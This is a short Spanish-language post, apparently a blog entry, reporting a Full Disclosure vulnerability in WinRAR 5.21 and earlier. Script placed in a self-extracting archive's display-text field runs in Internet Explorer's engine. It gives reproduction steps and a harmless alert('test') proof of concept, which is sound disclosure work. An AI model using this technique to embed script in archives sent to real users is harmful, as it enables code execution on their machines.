Hace unos días en Full Disclosure publicaban una vulnerabilidad de ejecución remota de código (RCE) en WinRar 5.21 y anteriores (confirmo 4.20 también). Concretamente, al crear un fichero autoextraíble con WinRAR (SFX), en la pestaña "Texto e icono" podemos incrustar código html y javascript que será procesado por el motor del navegador, Internet Explorer del sistema con compatibilidad IE7.

Reproducir la vulnerabilidad es muy sencillo. Seleccionamos uno o varios archivos y con el botón derecho pinchamos en "Añadir al archivo...". Luego en las opciones de compresión marcamos "Crear un archivo autoextraíble":


Luego pulsamos el botón "Avanzado" y en el cuadro del "Texto a mostrar en la ventana" de la pestaña "Texto e icono" añadimos el siguiente código:

<html><script type="text/javascript">alert('test');</script></html>


Al ejecutar el fichero autoextraíble veréis como se procesa el script: